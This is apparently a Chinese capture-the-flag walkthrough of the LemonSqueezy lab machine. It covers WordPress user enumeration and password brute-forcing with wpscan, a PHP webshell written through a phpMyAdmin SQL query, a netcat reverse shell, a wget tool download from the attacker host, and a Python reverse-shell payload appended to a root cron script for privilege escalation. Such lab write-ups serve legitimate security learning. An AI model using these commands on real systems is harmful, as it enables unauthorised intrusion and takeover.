LemonSqueezy:利用wpscan扫描WordPress进行用户枚举和弱口令爆破


靶机下载地址

1.信息收集

靶机地址:192.168.71.135

kali地址:192.168.71.129

端口扫描

只开放了80端口,打开为apache的默认页面。继续扫描目录:

gobuster dir -u http://192.168.71.135/ -w /usr/share/wordlists/dirb/common.txt

扫出了两个应用:phpmyadmin和wordpress

wordpress

2.扫描WordPress

这里用到wpscan来扫描WordPress应用,它是一个专门针对于WordPress的安全扫描器。

用以下命令枚举用户:

wpscan --url http://192.168.71.135/wordpress -e u

爆破出来两个用户名:lemon和orange

接下来可以利用wpscan爆破密码,这里可以修改/etc/hosts,把域名加入。

用以下命令爆破密码:

wpscan --url http://lemonsqueezy/wordpress --passwords /usr/share/wordlists/rockyou.txt --usernames lemon,orange

获取到了orange用户的密码为ginger。好的,现在登录WordPress!

登录之后,在post页面中发现了类似密码的东西。想起来还有一个phpmyadmin应用没有利用,所以尝试能否登录。

用户名还是orange,密码n0t1n@w0rdl1st!,登录phpmyadmin系统。

登录后在wordpress数据库的wp_users表中发现了用户信息:

然后用hash分析器分析这是什么hash,但是没有成功。把lemon的hash改成orange的hash,也没有登录成功。

3.利用Phpmyadmin获取反弹shell

在phpmyadmin的SQL页面,输入以下命令:

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/wordpress/backdoor.php"

这里是在靶机上创建一个backdoor.php文件,可以作为以cmd为参数的webshell。

访问后门,webshell执行成功!

那么现在获取反弹shell,webshell的cmd参数为:

nc -e /bin/bash 192.168.71.129 4444

获取shell成功,当前用户为www-data。

获取到user.txt。

用户flag

4.提权

利用pspy工具对系统进程进行监控,首先把pspy脚本上传到靶机上去。

kali

python3 -m http.server 8000

靶机

wget http://192.168.71.129:8000/pspy64s

启动pspy:

chmod +x pspy64s && ./pspy64s -p -i 1000

发现可疑程序,每两分钟运行一次,作用是删除/tmp文件夹下的文件。

查看这个文件,发现它可以被任何用户读、写和执行,拥有者为root。

查看这个文件,是一个python程序。

把它修改为python reverse shell:

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.71.129",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> logrotate

等待几分钟,待程序执行时,在kali监听端口中获得反弹shell。

获取到root权限和root用户flag。

5.总结

这个靶机主要考察以下知识点:

  • wpscan为专用于扫描WordPres的工具,可以枚举用户及爆破密码;
  • 利用phpmyadmin获取webshell;
  • pspy工具监控进程运行,修改程序执行反弹shell代码

文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录